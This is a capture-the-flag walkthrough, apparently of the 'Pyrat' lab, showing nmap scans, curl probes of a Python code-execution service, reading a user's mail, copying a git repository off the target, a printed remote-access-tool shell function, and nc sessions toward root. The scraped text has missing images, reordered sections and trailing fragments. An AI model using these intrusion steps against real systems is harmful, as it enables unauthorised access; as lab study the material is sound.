The following post by anthonyjsaab is licensed under
0 - Introduction
1 - Port Scans
1a - Discovery
โโโ(kaliใฟkali)-[~]
โโ$ sudo nmap -T4 -p- pyrat.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 06:46 EEST
Nmap scan report for pyrat.thm (10.10.70.142)
Host is up (0.10s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 251.27 seconds
1b - Versions and OS
โโโ(kaliใฟkali)-[~]
โโ$ sudo nmap -A -p22,8000 pyrat.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 06:51 EEST
Nmap scan report for pyrat.thm (10.10.70.142)
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/3%Time=66FE14D3%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 105.81 ms 10.11.0.1
2 114.93 ms pyrat.thm (10.10.70.142)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.83 seconds
2 - Port 8000
2a - Inspecting
When first trying to access port 8000 with an up-to-date Firefox browser, we get this:
2b - Crafting a "basic" request
It seems the server needs a more carefully crafted HTTP request. Copying the request as a cURL command from the Network Tab in Firefox's Developer Tools, we get this:
After gradually deleting all the headers, we get this:
โโโ(kaliใฟkali)-[~]
โโ$ curl 'http://pyrat.thm:8000/' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:'
Try a more basic connection
โโโ(kaliใฟkali)-[~]
โโ$ curl 'http://pyrat.thm:8000/' -H 'User-Agent:' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:'
Try a more basic connection
โโโ(kaliใฟkali)-[~]
โโ$ curl 'http://pyrat.thm:8000/' -H 'User-Agent:' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:' -H 'Host:'
curl: (1) Received HTTP/0.9 when not allowed
It seems the server is trying to communicate with us using HTTP/0.9.
2c - HTTP0.9?
An example provided on that same site:
Request:
GET /index.html
Response:
<html>
Welcome to the example.re homepage!
</html>
After reading curl's manual pages, we notice that we can allow HTTP/0.9 response with a flag. Trying again:
โโโ(kaliใฟkali)-[~]
โโ$ curl 'http://pyrat.thm:8000/' -H 'User-Agent:' -H 'Accept:' -H 'Accept-Language:' -H 'Accept-Encoding:' -H 'Connection:' -H 'Upgrade-Insecure-Requests:' -H 'Host:' --http0.9
name 'GET' is not defined
If an error occurred then the server will generate a situation-specific HTML file that the client will present to the user to describe the issue.
Whoever, this is not what we see. The server might not be using HTTP/0.9 after all. cURL might have misidentified it because no headers where being sent, which is only typical of HTTP/0.9.
2d - Python!
"name 'GET' is not defined" is a very familiar error. I had to be sure:
โโโ(kaliใฟkali)-[~]
โโ$ python
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> foo
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'foo' is not defined
I am now almost certain that the server is executing my request in a Python console and returning the console outputs! Testing the theory:
$ cat /var/spool/mail/think
cat /var/spool/mail/think
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
Quickly looking at the enum output reveals that the 8000 server is the RAT mentioned above:
3c - Exfiltrating dev
Trying to read /root/pyrat.py or anything related to it in /proc have proved unsuccessful. However, we know that it is think@pyrat who wrote the code. Additionally, we have found an unusual folder in /opt belonging to think@pyrat (using LinPEAS). It might contain the source code!
www-data@Pyrat:/opt$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Jun 21 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
drwxrwxr-x 3 think think 4096 Jun 21 2023 dev
www-data@Pyrat:/opt$ cd dev
cd dev
www-data@Pyrat:/opt/dev$ ls -la
ls -la
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
Sadly, the folder is empty. Or is it? The dev folder is a local git repo since the .git folder is present. Let's check its commits:
www-data@Pyrat:/opt/dev$ git status
git status
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:
git config --global --add safe.directory /opt/dev
www-data@Pyrat:/opt/dev$ git log
git log
fatal: detected dubious ownership in repository at '/opt/dev'
To add an exception for this directory, call:
git config --global --add safe.directory /opt/dev
www-data@Pyrat:/opt/dev$ git config --global --add safe.directory /opt/dev
git config --global --add safe.directory /opt/dev
warning: unable to access '/root/.gitconfig': Permission denied
warning: unable to access '/root/.config/git/config': Permission denied
error: could not lock config file /root/.gitconfig: Permission denied
www-data@Pyrat:/opt/dev$
Unfortunately, the protection mechanisms of Git aren't allowing us to interact with the .git folder through the git program. However, we still have read permissions inside!
www-data@Pyrat:/opt/dev$ ls -la .git
ls -la .git
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
--SNIP--
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
This means we can compress the dev folder and exfiltrate it to kali where we can easily workaround the protection mechanism and see the commits!
www-data@Pyrat:/opt$ tar -czvf /tmp/dev.tar dev/
tar -czvf /tmp/dev.tar dev/
dev/
dev/.git/
--SNIP--
dev/.git/refs/heads/master
dev/.git/refs/tags/
dev/.git/index
We will exfiltrate the tar file in the same way we did with the www-enum.txt file:
โโโ(kaliใฟkali)-[~]
โโ$ tar -xvf dev.tar
dev/
dev/.git/
dev/.git/objects/
--SNIP--
dev/.git/refs/tags/
dev/.git/index
โโโ(kaliใฟkali)-[~]
โโ$ cd dev
โโโ(kaliใฟkali)-[~/dev]
โโ$ ls -la
total 12
drwxrwxr-x 3 kali kali 4096 Jun 21 2023 .
drwx------ 24 kali kali 4096 Oct 3 10:00 ..
drwxrwxr-x 8 kali kali 4096 Jun 21 2023 .git
โโโ(kaliใฟkali)-[~/dev]
โโ$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")
โโโ(kaliใฟkali)-[~/dev]
โโ$ git restore pyrat.py.old
โโโ(kaliใฟkali)-[~/dev]
โโ$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
Reading pyrat.py.old:
โโโ(kaliใฟkali)-[~/dev]
โโ$ cat pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
It appears that the complete code is not saved in this repository; only a few lines are available. However, these lines provide a good understanding of what's happening, particularly why root is executing /root/pyrat.py even though we donโt have root privileges ourselves (because of the change_uid() function).
3e - Mysterious Endpoint
Trying out some inputs based on the observations from the source code snippet, we get this:
โโโ(kaliใฟkali)-[~/dev]
โโ$ nc pyrat.thm 8000
some_endpoint
name 'some_endpoint' is not defined
shell
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
It seems the recovered part of the source code is mostly still valid. When we type 'shell', we actually get a shell like the code says!
However, the placeholder 'some_endpoint' seems to have been changed. After reading the comments in the code carefully, and with some trial and error, I discover that the 'some_endpoint' placeholder was replaced with 'admin'. However, we do not really know what this will do. We only know that it might give us something better. If we type anything else, we are sure to get a low privileged shell. Also, it turns out that there is still an obstacle left:
โโโ(kaliใฟkali)-[~/dev]
โโ$ nc pyrat.thm 8000
admin
Password:
admin
Password:
test
Password:
jose
3f - Are we there yet?
Since the script is proving to be quite challenging, I thought it would be much easier if I had access to the entire code. Thatโs when I remembered the email we saw earlier:
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
Also, the git log command gave us great info about the author:
โโโ(kaliใฟkali)-[~/dev]
โโ$ git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
With this username in mind, I headed to the profile on GitHub:
The entire code can be seen here:
There was a hardcoded password, but it was a placeholder and was not the one actually used on our target. The most important part is here:
def switch_case(client_socket, data):
if data == 'admin':
get_admin(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0) and (str(client_socket) not in admins):
change_uid()
if data == 'shell':
shell(client_socket)
remove_socket(client_socket)
else:
exec_python(client_socket, data)
3g - Finally! ROOT
It seems the pyrat.py.old was outdated. The if statement that would trigger change_uid() has changed. Now, if str(client_socket) is in admins, root access won't be taken from me!
How can I do that? Well:
def get_admin(client_socket):
global admins
Since admins is a global variable, I will be able to change it because I will not be executing Python commands in a subshell, but rather in the actual original process (exec_python case)
Note how if I sent 'shell' as the first command, it would be game overโI would end up in a subprocess with root access taken away for good. Instead, I allowed the first switch_case() call to reach exec_python. The second call then goes to shell() without stepping into change_uid() during the entire nc session.
Also, notice how I used the -p parameter in nc to ensure that I was using the same source port that had been previously added to the admin's list.
Created by , and
From , we can learn that:
HTTP/0.9 was the original release and it was extremely simple, supporting only the HTTP method. Only HTML files were included in HTTP responses, there were no , and there were no .
This is strange. Why wouldn't this work? And why isn't the server responding with a proper HTML file? Even if my request is wrong, according to :